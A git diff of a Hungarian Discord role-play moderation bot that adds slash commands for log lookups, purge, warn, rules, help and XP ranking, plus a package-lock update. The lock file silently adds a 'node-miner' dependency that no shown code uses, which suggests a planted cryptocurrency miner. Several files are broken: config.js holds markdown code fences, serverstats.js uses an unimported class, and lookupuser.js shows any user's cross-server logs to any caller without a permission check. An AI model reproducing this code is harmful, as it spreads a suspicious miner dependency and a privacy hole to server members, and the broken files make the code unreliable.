(!logs.length) { + return interaction.reply({ content: 'Nincsenek naplók ehhez a szerverhez.', ephemeral: true }); + } + // Check if user has Administrator permission or a staff role + const member = await interaction.guild.members.fetch(interaction.user.id); + const hasAdmin = member.permissions.has('Administrator'); + const staffRoleIds = ['STAFF_ROLE_ID_1', 'STAFF_ROLE_ID_2']; // Replace with actual staff role IDs + const hasStaffRole = member.roles.cache.some(role => staffRoleIds.includes(role.id)); + if (!hasAdmin && !hasStaffRole) { + return interaction.reply({ content: 'Nincs jogosultságod ehhez a parancshoz.', ephemeral: true }); + } + let page = 0; + const pageSize = 5; + const getPageEmbed = (page) => { + const embed = new EmbedBuilder() + .setTitle('🏴‍☠️🏰 Szerver naplók') + .setDescription('🏴‍☠️ Ezen a szerveren történt események:') + .setColor(0x3498db) + .setThumbnail(interaction.guild.iconURL()) + .setFooter({ text: '🏴‍☠️ Szerver napló lekérdezés • Nyx' }) + .setTimestamp(); + const slice = logs.slice(page * pageSize, (page + 1) * pageSize); + slice.forEach((log, i) => { + embed.addFields({ + name: `• ${log.event_type || log.action || 'Ismeretlen'} — ${log.reason || log.message_content || 'Nincs megadva ok'}`, + value: `Felhasználó: ${log.username || log.userId || 'Ismeretlen'} | Csatorna: <#${log.channel_id || 'N/A'}>\nIdőpont: ${log.timestamp || log.date || 'Ismeretlen'}`, + inline: false + }); + }); + return embed; + }; + const row = new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId('prev').setLabel('Előző oldal').setStyle(ButtonStyle.Secondary), + new ButtonBuilder().setCustomId('next').setLabel('Következő oldal').setStyle(ButtonStyle.Secondary) + ); + const reply = await interaction.reply({ embeds: [getPageEmbed(page)], components: [row], ephemeral: true }); + const collector = reply.createMessageComponentCollector({ time: 60000 }); + collector.on('collect', async i => { + if (i.user.id !== interaction.user.id) return i.reply({ content: 'Ez nem a te műveleted.', ephemeral: true }); + if (i.customId === 'prev' && page > 0) page--; + if (i.customId === 'next' && (page + 1) * pageSize < logs.length) page++; + await i.update({ embeds: [getPageEmbed(page)], components: [row] }); + }); + collector.on('end', () => { + reply.edit({ components: [] }).catch(() => {}); + }); + }, +}; diff --git a/commands/moderation/lookupuser.js b/commands/moderation/lookupuser.js new file mode 100644 index 0000000..666afd0 --- /dev/null +++ b/commands/moderation/lookupuser.js @@ -0,0 +1,53 @@ +// Utility: lookupuser.js +const { SlashCommandBuilder, EmbedBuilder, ActionRowBuilder, ButtonBuilder, ButtonStyle } = require('discord.js'); +const { readGlobalUserLogs } = require('../../../utils/jsondb.js'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('lookupuser') + .setDescription('🏴‍☠️ Felhasználó információk lekérdezése') + .addUserOption(option => + option.setName('target').setDescription('User to lookup').setRequired(true)), + async execute(interaction) { + const user = interaction.options.getUser('target'); + const logs = await readGlobalUserLogs(user.id); + if (!logs.length) { + return interaction.reply({ content: 'Nincsenek naplók ehhez a felhasználóhoz.', ephemeral: true }); + } + let page = 0; + const pageSize = 5; + const getPageEmbed = (page) => { + const embed = new EmbedBuilder() + .setTitle('🏴‍☠️👤 Felhasználó infó') + .setDescription(`🏴‍☠️ Információk <@${user.id}> felhasználóról:`) + .setColor(0x3498db) + .setThumbnail(user.displayAvatarURL()) + .setFooter({ text: '🏴‍☠️ Felhasználó napló lekérdezés • Nyx' }) + .setTimestamp(); + const slice = logs.slice(page * pageSize, (page + 1) * pageSize); + slice.forEach((log, i) => { + embed.addFields({ + name: `• ${log.event_type || log.action || 'Ismeretlen'} — ${log.reason || log.message_content || 'Nincs megadva ok'}`, + value: `Szerver: ${log.guildId || 'Ismeretlen'} | Csatorna: <#${log.channel_id || 'N/A'}>\nIdőpont: ${log.timestamp || log.date || 'Ismeretlen'}`, + inline: false + }); + }); + return embed; + }; + const row = new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId('prev').setLabel('Előző oldal').setStyle(ButtonStyle.Secondary), + new ButtonBuilder().setCustomId('next').setLabel('Következő oldal').setStyle(ButtonStyle.Secondary) + ); + const reply = await interaction.reply({ embeds: [getPageEmbed(page)], components: [row], ephemeral: true }); + const collector = reply.createMessageComponentCollector({ time: 60000 }); + collector.on('collect', async i => { + if (i.user.id !== interaction.user.id) return i.reply({ content: 'Ez nem a te műveleted.', ephemeral: true }); + if (i.customId === 'prev' && page > 0) page--; + if (i.customId === 'next' && (page + 1) * pageSize < logs.length) page++; + await i.update({ embeds: [getPageEmbed(page)], components: [row] }); + }); + collector.on('end', () => { + reply.edit({ components: [] }).catch(() => {}); + }); + }, +}; diff --git a/commands/moderation/purge.js b/commands/moderation/purge.js new file mode 100644 index 0000000..23ffd86 --- /dev/null +++ b/commands/moderation/purge.js @@ -0,0 +1,31 @@ +// Purge command +const { SlashCommandBuilder, PermissionFlagsBits, EmbedBuilder } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('purge') + .setDescription('Delete a number of messages from a channel') + .addIntegerOption(option => + option.setName('amount').setDescription('Number of messages to delete').setRequired(true)), + async execute(interaction) { + if (!interaction.member.permissions.has(PermissionFlagsBits.ManageMessages) && !interaction.member.permissions.has(PermissionFlagsBits.Administrator)) { + const embed = new EmbedBuilder() + .setTitle('Nincs jogosultság') + .setDescription('Ehhez a parancshoz Manage Messages vagy Admin jogosultság szükséges.') + .setColor('Red'); + return interaction.reply({ embeds: [embed], flags: 64 }); + } + const amount = interaction.options.getInteger('amount'); + if (!amount || amount < 1 || amount > 100) { + return interaction.reply({ content: 'Adj meg egy számot 1 és 100 között!', ephemeral: true }); + } + await interaction.channel.bulkDelete(amount, true); + const embed = new EmbedBuilder() + .setTitle('Üzenetek törölve') + .setDescription(`${amount} üzenet törölve ebben a csatornában.`) + .setColor('Orange') + .setFooter({ text: '⛏️ by Laci 🛠️' }); + await interaction.reply({ embeds: [embed], ephemeral: true }); + }, +}; diff --git a/commands/moderation/rules.js b/commands/moderation/rules.js new file mode 100644 index 0000000..ff9a4de --- /dev/null +++ b/commands/moderation/rules.js @@ -0,0 +1,14 @@ +const { SlashCommandBuilder, EmbedBuilder } = require('discord.js'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('rules') + .setDescription('GTA HC RP Teljes Szabálykönyv – Főiskolai szintű változat'), + async execute(interaction) { + const embed = new EmbedBuilder() + .setTitle('GTA HC RP Teljes Szabálykönyv – Főiskolai szintű változat') + .setDescription(`1. Általános rendelkezések\n\n1.1 Minden játékos köteles tiszteletteljes és udvarias módon viselkedni a szerveren, függetlenül attól, hogy IC vagy OOC kommunikációról van szó. Tilos minden olyan magatartás, amely mások zaklatását, diszkriminációját, fenyegetését vagy megalázását jelentené.\n\n1.2 A szerverre történő csatlakozással a játékos elfogadja a szabályzat minden pontját. A szabályzat időnként módosulhat, ezért a játékos köteles a hivatalos kommunikációs csatornákat (pl. Discord) figyelemmel kísérni.\n\n1.3 Konfliktus vagy szabályszegés esetén a játékosnak elsőként a /report parancsot kell használnia. Adminisztrátor közvetlen megkeresése (pl. Discordon) csak akkor megengedett, ha a helyzet azonnali beavatkozást igényel.\n\n1.4 A szabályszegések szankcionálása az adminisztrátorok mérlegelése alapján történik. A büntetés mértéke függ a szabálysértés súlyosságától, gyakoriságától és attól, hogy történt-e szándékos visszaélés.\n\n1.5 A szabályzat nem ismerete nem mentesít a következmények alól. Minden játékos felelőssége, hogy tisztában legyen a szabályokkal.\n\n2. Szerepjáték (RP) szabályai\n\n2.1 A szerver célja egy realisztikus és összetett szerepjáték-környezet biztosítása. A karakterek cselekedeteinek a való világ logikáját kell tükrözniük.\n\n2.2 Powergaming (PG): Tilos olyan tevékenység, amely irreális és mások szerepjátékát ellehetetleníti. Pl.: ha egy karakter több lövést kap, de ennek ellenére úgy viselkedik, mintha semmi sem történt volna.\n\n2.3 Metagaming (MG): Az OOC forrásból származó információk IC használata szigorúan tilos. A karakter tudása csak IC élményekre épülhet.\n\n2.4 Random Deathmatch (RDM) / Vehicle Deathmatch (VDM): Bármiféle erőszakos cselekmény, amelynek nincs IC előzménye, tilos. A harcokat és konfliktusokat RP-kereteken belül kell lefolytatni.\n\n2.5 RP közben még szabályszegés esetén is kötelező az adott szituáció lejátszása, kivéve, ha adminisztrátor közbelép és másképp dönt.\n\n2.6 Komolyabb sérülés vagy karakterhalál esetén a karakter viselkedésének tükröznie kell a fizikai állapotát. A végleges halál (permadeath) lehetőségét mindig érdemes mérlegelni.\n\n3. Karakterépítés irányelvei\n\n3.1 Minden karakternek részletes, logikus háttértörténettel kell rendelkeznie. Ebbe beletartozik a karakter származása, múltja, motivációi és jellemvonásai.\n\n3.2 Egy karakter nem tölthet be egymással ellentétes szerepeket (pl. nem lehet rendőr és bűnöző egyszerre).\n\n3.3 A karakterek legyenek emberiek és reálisak – mutassanak gyengeségeket, hibákat és fejlődési lehetőségeket.\n\n3.4 Új karakter indításakor az előző karakter IC információi, kapcsolatai vagy vagyontárgyai nem vihetők át.\n\n4. Illegális szerepjáték és frakciók szabályozása\n\n4.1 Bűncselekmények elkövetése előtt kötelező az RP-n alapuló tervezés. Emberrablás, rablás vagy gyilkosság csak indokolt esetben történhet.\n\n4.2 Illegális frakciók (pl. bűnbandák) csak adminisztrátori engedéllyel működhetnek. A működés feltétele a jól dokumentált RP háttér és a következetes szerepjáték.\n\n4.3 A frakcióvezetők felelősek a tagjaik viselkedéséért, és rendszeresen ellenőrizniük kell az RP színvonalát.\n\n4.4 A fegyver- és drogkereskedelem csak RP-kereteken belül történhet, adminisztrátori felügyelet mellett.\n\n4.5 A frakciók közötti rivalizálást IC módon kell levezetni. Tilos az OOC alapú ellentétek beemelése.\n\n5. Legális frakciók szabályozása\n\n5.1 Rendőrség, mentők és egyéb hivatalos szervek tagjai kötelesek példamutatóan viselkedni és betartani az RP etikettet.\n\n5.2 A hatalommal való visszaélés (pl. indokolatlan igazoltatás, túlzott erőszak) tilos.\n\n5.3 Frakcióvezetők kötelesek belső szabályzatot alkotni és érvényesíteni azt. Ennek hiánya szankcióval járhat.\n\n5.4 Az egészségügyi RP-nél kiemelten fontos a részletes eljárás (pl. sérülés diagnosztizálása, elsősegély, kórházba szállítás).\n\n6. Gazdasági szabályozás\n\n6.1 Pénzt csak RP-tevékenységen keresztül lehet szerezni. Tilos az automatizált farmolás, amely nem kapcsolódik szerepjátékhoz.\n\n6.2 Tilos valós pénzért IC vagyontárgyakat árusítani vagy előnyt szerezni. Ez súlyos szabálysértésnek minősül.\n\n6.3 A gazdaság szándékos manipulálása, például irreális árképzés vagy monopolizálás, nem megengedett.\n\n6.4 Vállalkozások indításakor figyelembe kell venni a szerver gazdasági helyzetét. A túlzott árképzés RP-ellenes.\n\n7. Technikai és OOC szabályok\n\n7.1 Minden technikai hibát vagy bugot azonnal jelenteni kell. Ezek kihasználása tilos.\n\n7.2 Harmadik féltől származó programok (pl. makrók, csalások) használata azonnali kitiltást von maga után.\n\n7.3 Az OOC kommunikáció csak a kijelölt csatornákon megengedett. Tilos OOC információt IC térben használni.\n\n7.4 Tilos az adminisztrátorok megtévesztése vagy félrevezetése. Az együttműködés minden esetben elvárt.\n\n8. Adminisztrátorok működése\n\n8.1 Az adminisztrátor döntései alapvetően véglegesek, de kulturált formában kérhető felülvizsgálat.\n\n8.2 Az adminisztrátorokat tisztelettel kell kezelni, mind IC, mind OOC környezetben.\n\n8.3 Az adminok csak súlyos szabálysértés vagy technikai probléma esetén avatkoznak be.\n\n8.4 Ha adminisztrátorra van szükség, a /admin parancs használata kötelező, és minden félnek együtt kell működnie.\n\n9. Záró rendelkezések\n\nA szabályzat minden játékos számára kötelező érvényű. Célja egy olyan minőségi és élvezetes szerepjátékos közösség létrehozása, amelyben mindenki egyenlő feltételek mellett alakíthatja karakterét. A szabályok szándékos megszegése következetes és arányos szankciókat von maga után a közösség védelme érdekében.`) + .setColor(0x2ecc71); + await interaction.reply({ embeds: [embed], ephemeral: true }); + } +}; diff --git a/commands/moderation/warn.js b/commands/moderation/warn.js new file mode 100644 index 0000000..33c38bd --- /dev/null +++ b/commands/moderation/warn.js @@ -0,0 +1,50 @@ +// Warn command +const { SlashCommandBuilder, PermissionFlagsBits, EmbedBuilder } = require('discord.js'); +const { readUser, writeUser } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('warn') + .setDescription('Warn a member') + .addUserOption(option => + option.setName('target').setDescription('User to warn').setRequired(true)) + .addStringOption(option => + option.setName('reason').setDescription('Reason for warning').setRequired(false)), + async execute(interaction) { + if (!interaction.member.permissions.has(PermissionFlagsBits.KickMembers) && !interaction.member.permissions.has(PermissionFlagsBits.Administrator)) { + const embed = new EmbedBuilder() + .setTitle('Nincs jogosultság') + .setDescription('Ehhez a parancshoz Kick Members vagy Admin jogosultság szükséges.') + .setColor('Red'); + return interaction.reply({ embeds: [embed], flags: 64 }); + } + const user = interaction.options.getUser('target'); + const reason = interaction.options.getString('reason') || 'Nincs megadva indok'; + const guildId = interaction.guild.id; + // Log warning to user log file + const logEntry = { + event_type: 'WARN', + reason, + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: reason, + date: Date.now() + }; + // Append to user log + const { appendUserLog } = require('../../../utils/jsondb'); + await appendUserLog('logs', user.id, guildId, logEntry, user.username); + // Update user profile stats + const profile = await readUser('profiles', user.id, guildId); + profile.total_warns = (profile.total_warns || 0) + 1; + profile.last_seen = Date.now(); + await writeUser('profiles', user.id, guildId, profile); + const embed = new EmbedBuilder() + .setTitle('Felhasználó figyelmeztetve') + .setDescription(`${user.tag} figyelmeztetést kapott.`) + .addFields({ name: 'Indok', value: reason }) + .setColor('Orange') + .setFooter({ text: '⛏️ by Laci 🛠️' }); + await interaction.reply({ embeds: [embed] }); + }, +}; diff --git a/commands/utility/help.js b/commands/utility/help.js new file mode 100644 index 0000000..c1f8a75 --- /dev/null +++ b/commands/utility/help.js @@ -0,0 +1,60 @@ +// Utility: help.js +const { SlashCommandBuilder, EmbedBuilder, ActionRowBuilder, ButtonBuilder, ButtonStyle } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('help') + .setDescription('🏴‍☠️ Parancsok listája és súgó'), + async execute(interaction) { + // Help pages + const pages = [ + new EmbedBuilder() + .setTitle('🛡️ Moderáció') + .setDescription('Moderációs parancsok') + .addFields({ name: 'Parancsok', value: '`ban`, `kick`, `warn`, `purge`, `kickrole`, `giverole`, `deleterole`' }) + .setColor(0x5865F2), + new EmbedBuilder() + .setTitle('🛠️ Segédletek') + .setDescription('Utility parancsok') + .addFields({ name: 'Parancsok', value: '`info`, `help`, `serverstats`, `guildconfig`, `rank`, `leaderboard`' }) + .setColor(0x5865F2), + new EmbedBuilder() + .setTitle('🔎 Napló lekérdezés') + .setDescription('Napló lekérdező parancsok') + .addFields({ name: 'Parancsok', value: '`lookupuser `, `lookupguild`' }) + .setColor(0x5865F2), + new EmbedBuilder() + .setTitle('🎉 Szórakozás') + .setDescription('Szórakoztató parancsok') + .addFields({ name: 'Parancsok', value: '`meme`, `joke`, `8ball`' }) + .setColor(0x5865F2) + ]; + let page = 0; + const row = new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId('help_prev').setLabel('Előző').setStyle(ButtonStyle.Secondary).setDisabled(true), + new ButtonBuilder().setCustomId('help_next').setLabel('Következő').setStyle(ButtonStyle.Primary) + ); + const reply = await interaction.reply({ embeds: [pages[page]], components: [row], ephemeral: true, fetchReply: true }); + const collector = reply.createMessageComponentCollector({ filter: i => i.user.id === interaction.user.id, time: 120000 }); + collector.on('collect', async i => { + if (i.customId === 'help_prev') page = Math.max(0, page - 1); + if (i.customId === 'help_next') page = Math.min(pages.length - 1, page + 1); + await i.update({ + embeds: [pages[page]], + components: [ + new ActionRowBuilder().addComponents( + new ButtonBuilder().setCustomId('help_prev').setLabel('Előző').setStyle(ButtonStyle.Secondary).setDisabled(page === 0), + new ButtonBuilder().setCustomId('help_next').setLabel('Következő').setStyle(ButtonStyle.Primary).setDisabled(page === pages.length - 1) + ) + ] + }); + }); + // Naplózás minden help parancs használatról saját jsondb-vel + await appendUserLog('help_requests', interaction.user.id, interaction.guild.id, { + type: 'help', + user: interaction.user.id, + date: Date.now() + }, interaction.user.username); + }, +}; diff --git a/commands/utility/leaderboard.js b/commands/utility/leaderboard.js new file mode 100644 index 0000000..ab802a2 --- /dev/null +++ b/commands/utility/leaderboard.js @@ -0,0 +1,36 @@ +// commands/utility/leaderboard.js +const { SlashCommandBuilder, EmbedBuilder } = require('discord.js'); +const { getLeaderboard } = require('../../../utils/rank'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('leaderboard') + .setDescription('🏴‍☠️ Show the XP leaderboard for this server'), + async execute(interaction) { + const top = await getLeaderboard(interaction.guild.id, 10); + let desc = top.map((u, i) => `**${i+1}. <@${u.user_id}>** — Szint ${u.level} (${u.xp} XP)`).join('\n'); + if (!desc) desc = 'Még nincs felhasználó XP-vel!'; + const embed = new EmbedBuilder() + .setTitle('🏴‍☠️🏆 Szerver ranglista') + .setDescription('🏴‍☠️ A szerver legaktívabb tagjai XP alapján!') + .setColor(0xFFD700) + .setThumbnail('https://cdn-icons-png.flaticon.com/512/1828/1828884.png') + .addFields( + { name: 'Ranglista', value: desc } + ) + .setFooter({ text: '🏴‍☠️ Csevegj sokat, hogy feljebb kerülj a ranglistán!' }) + .setTimestamp(); + // Log leaderboard command usage + await appendUserLog('logs', interaction.user.id, interaction.guild.id, { + event_type: 'LEADERBOARD', + reason: 'Viewed leaderboard', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: null, + date: Date.now() + }, interaction.user.username); + await interaction.reply({ embeds: [embed], ephemeral: true }); + }, +}; diff --git a/commands/utility/rank.js b/commands/utility/rank.js new file mode 100644 index 0000000..1d944a2 --- /dev/null +++ b/commands/utility/rank.js @@ -0,0 +1,40 @@ +// commands/utility/rank.js +const { SlashCommandBuilder, EmbedBuilder } = require('discord.js'); +const { getRank, xpForLevel } = require('../../../utils/rank'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('rank') + .setDescription('🏴‍☠️ Nézd meg a saját XP-d és szinted!') + .addUserOption(option => + option.setName('user').setDescription('User to check').setRequired(false)), + async execute(interaction) { + const user = interaction.options.getUser('user') || interaction.user; + const { xp, level } = await getRank(user.id, interaction.guild.id); + const nextLevelXp = xpForLevel(level + 1); + const embed = new EmbedBuilder() + .setTitle('🏴‍☠️📈 Rangod') + .setDescription(`🏴‍☠️ **${user.username}** szintje és XP-je: + +> **Szint:** ${level} | **XP:** ${xp} / ${nextLevelXp} + +${level === 0 ? '⚓ Kezdd el az utad a chatben, hogy szintet lépj!' : '⛵ Tartsd a tempót, hogy magasabb szintet érj el!'} +`) + .setColor(0xFFD700) + .setThumbnail('https://cdn-icons-png.flaticon.com/512/1828/1828884.png') + .setFooter({ text: '🏴‍☠️ Aktívabb chat = magasabb szint! | Nyx RP Bot', iconURL: 'https://cdn-icons-png.flaticon.com/512/3135/3135715.png' }) + .setTimestamp(); + // Log rank command usage + await appendUserLog('logs', interaction.user.id, interaction.guild.id, { + event_type: 'RANK', + reason: 'Viewed rank', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: null, + date: Date.now() + }, interaction.user.username); + await interaction.reply({ embeds: [embed], ephemeral: true }); + }, +}; diff --git a/commands/utility/serverstats.js b/commands/utility/serverstats.js new file mode 100644 index 0000000..7ccba51 --- /dev/null +++ b/commands/utility/serverstats.js @@ -0,0 +1,35 @@ +// Utility: serverstats.js +const { SlashCommandBuilder } = require('discord.js'); +const { readUser, writeUser, appendUserLog } = require('../../../utils/jsondb'); + +module.exports = { + data: new SlashCommandBuilder() + .setName('serverstats') + .setDescription('🏴‍☠️ Szerver statisztikák megtekintése'), + async execute(interaction) { + const { guild } = interaction; + // Log serverstats command usage + await appendUserLog('logs', interaction.user.id, interaction.guild.id, { + event_type: 'SERVERSTATS', + reason: 'Viewed server stats', + warned_by: interaction.user.id, + channel_id: interaction.channel.id, + message_id: interaction.id, + message_content: null, + date: Date.now() + }, interaction.user.username); + const embed = new EmbedBuilder() + .setTitle('🏴‍☠️📊 Szerver statisztikák') + .setDescription('🏴‍☠️ Itt láthatod a szerver jelenlegi statisztikáit:') + .setColor(0x5865F2) + .setThumbnail(interaction.guild.iconURL()) + .addFields( + { name: 'Szerver', value: guild.name, inline: true }, + { name: 'Tagok', value: guild.memberCount.toString(), inline: true }, + { name: 'Létrehozva', value: guild.createdAt.toLocaleDateString('hu-HU'), inline: true } + ) + .setFooter({ text: '🏴‍☠️ Maradj aktív és érezd jól magad!' }) + .setTimestamp(); + await interaction.reply({ embeds: [embed], ephemeral: true }); + }, +}; diff --git a/config.js b/config.js new file mode 100644 index 0000000..1f1fdb4 --- /dev/null +++ b/config.js @@ -0,0 +1,9 @@ +```javascript +// config.js + +module.exports = { + // ...existing config, + logChannelId: process.env.LOG_CHANNEL_ID, + // ...existing config +}; +``` \ No newline at end of file diff --git a/package-lock.json b/package-lock.json index d68dc93..056396c 100644 --- a/package-lock.json +++ b/package-lock.json @@ -9,13 +9,24 @@ "version": "1.0.0", "license": "ISC", "dependencies": { - "discord.js": "^14.19.3", - "dotenv": "^16.5.0", + "bcryptjs": "^3.0.2", + "cors": "^2.8.5", + "discord.js": "^14.21.0", + "dotenv": "^16.6.1", "ejs": "^3.1.10", "express": "^4.21.2", + "express-rate-limit": "^8.0.1", + "express-session": "^1.18.2", "fetch": "^1.1.0", + "i18n": "^0.15.1", "node-fetch": "^3.3.2", - "pg": "^8.16.0" + "node-miner": "^3.1.0", + "passport": "^0.7.0", + "passport-discord": "^0.1.4", + "pg": "^8.16.3" + }, + "bin": { + "src": "src/index.js" }, "devDependencies": { "jest": "^29.7.0" @@ -627,9 +638,9 @@ } }, "node_modules/@discordjs/rest": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@discordjs/rest/-/rest-2.5.0.tgz", - "integrity": "sha512-PWhchxTzpn9EV3vvPRpwS0EE2rNYB9pvzDU/eLLW3mByJl0ZHZjHI2/wA8EbH2gRMQV7nu+0FoDF84oiPl8VAQ==", + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/@discordjs/rest/-/rest-2.5.1.tgz", + "integrity": "sha512-Tg9840IneBcbrAjcGaQzHUJWFNq1MMWZjTdjJ0WS/89IffaNKc++iOvffucPxQTF/gviO9+9r8kEPea1X5J2Dw==", "license": "Apache-2.0", "dependencies": { "@discordjs/collection": "^2.1.1", @@ -640,7 +651,7 @@ "discord-api-types": "^0.38.1", "magic-bytes.js": "^1.10.0", "tslib": "^2.6.3", - "undici": "6.21.1" + "undici": "6.21.3" }, "engines": { "node": ">=18" @@ -674,13 +685,13 @@ } }, "node_modules/@discordjs/ws": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@discordjs/ws/-/ws-1.2.2.tgz", - "integrity": "sha512-dyfq7yn0wO0IYeYOs3z79I6/HumhmKISzFL0Z+007zQJMtAFGtt3AEoq1nuLXtcunUE5YYYQqgKvybXukAK8/w==", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@discordjs/ws/-/ws-1.2.3.tgz", + "integrity": "sha512-wPlQDxEmlDg5IxhJPuxXr3Vy9AjYq5xCvFWGJyD7w7Np8ZGu+Mc+97LCoEc/+AYCo2IDpKioiH0/c/mj5ZR9Uw==", "license": "Apache-2.0", "dependencies": { "@discordjs/collection": "^2.1.0", - "@discordjs/rest": "^2.5.0", + "@discordjs/rest": "^2.5.1", "@discordjs/util": "^1.1.0", "@sapphire/async-queue": "^1.5.2", "@types/ws": "^8.5.10", @@ -1066,6 +1077,50 @@ "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "node_modules/@messageformat/core": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/@messageformat/core/-/core-3.4.0.tgz", + "integrity": "sha512-NgCFubFFIdMWJGN5WuQhHCNmzk7QgiVfrViFxcS99j7F5dDS5EP6raR54I+2ydhe4+5/XTn/YIEppFaqqVWHsw==", + "license": "MIT", + "dependencies": { + "@messageformat/date-skeleton": "^1.0.0", + "@messageformat/number-skeleton": "^1.0.0", + "@messageformat/parser": "^5.1.0", + "@messageformat/runtime": "^3.0.1", + "make-plural": "^7.0.0", + "safe-identifier": "^0.4.1" + } + }, + "node_modules/@messageformat/date-skeleton": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@messageformat/date-skeleton/-/date-skeleton-1.1.0.tgz", + "integrity": "sha512-rmGAfB1tIPER+gh3p/RgA+PVeRE/gxuQ2w4snFWPF5xtb5mbWR7Cbw7wCOftcUypbD6HVoxrVdyyghPm3WzP5A==", + "license": "MIT" + }, + "node_modules/@messageformat/number-skeleton": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@messageformat/number-skeleton/-/number-skeleton-1.2.0.tgz", + "integrity": "sha512-xsgwcL7J7WhlHJ3RNbaVgssaIwcEyFkBqxHdcdaiJzwTZAWEOD8BuUFxnxV9k5S0qHN3v/KzUpq0IUpjH1seRg==", + "license": "MIT" + }, + "node_modules/@messageformat/parser": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/@messageformat/parser/-/parser-5.1.1.tgz", + "integrity": "sha512-3p0YRGCcTUCYvBKLIxtDDyrJ0YijGIwrTRu1DT8gIviIDZru8H23+FkY6MJBzM1n9n20CiM4VeDYuBsrrwnLjg==", + "license": "MIT", + "dependencies": { + "moo": "^0.5.1" + } + }, + "node_modules/@messageformat/runtime": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@messageformat/runtime/-/runtime-3.0.1.tgz", + "integrity": "sha512-6RU5ol2lDtO8bD9Yxe6CZkl0DArdv0qkuoZC+ZwowU+cdRlVE1157wjCmlA5Rsf1Xc/brACnsZa5PZpEDfTFFg==", + "license": "MIT", + "dependencies": { + "make-plural": "^7.0.0" + } + }, "node_modules/@sapphire/async-queue": { "version": "1.5.5", "resolved": "https://registry.npmjs.org/@sapphire/async-queue/-/async-queue-1.5.5.tgz", @@ -1273,6 +1328,18 @@ "node": ">= 0.6" } }, + "node_modules/agent-base": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz", + "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==", + "license": "MIT", + "dependencies": { + "es6-promisify": "^5.0.0" + }, + "engines": { + "node": ">= 4.0.0" + } + }, "node_modules/ansi-escapes": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", @@ -1293,7 +1360,6 @@ "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true, "license": "MIT", "engines": { "node": ">=8" @@ -1350,6 +1416,34 @@ "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", "license": "MIT" }, + "node_modules/async-limiter": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", + "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==", + "license": "MIT" + }, + "node_modules/async-listener": { + "version": "0.6.10", + "resolved": "https://registry.npmjs.org/async-listener/-/async-listener-0.6.10.tgz", + "integrity": "sha512-gpuo6xOyF4D5DE5WvyqZdPA3NGhiT6Qf07l7DCB0wwDEsLvDIbCr6j9S5aj5Ch96dLace5tXVzWBZkxU/c5ohw==", + "license": "BSD-2-Clause", + "dependencies": { + "semver": "^5.3.0", + "shimmer": "^1.1.0" + }, + "engines": { + "node": "<=0.11.8 || >0.11.10" + } + }, + "node_modules/async-listener/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, "node_modules/babel-jest": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz", @@ -1472,6 +1566,42 @@ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", "license": "MIT" }, + "node_modules/base64url": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/base64url/-/base64url-3.0.1.tgz", + "integrity": "sha512-ir1UPr3dkwexU7FdV8qBBbNDRUhMmIekYMFZfi+C/sLNnRESKPl23nB9b2pltqfOQNnGzsDdId90AEtG5tCx4A==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/basic-auth": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/basic-auth/-/basic-auth-2.0.1.tgz", + "integrity": 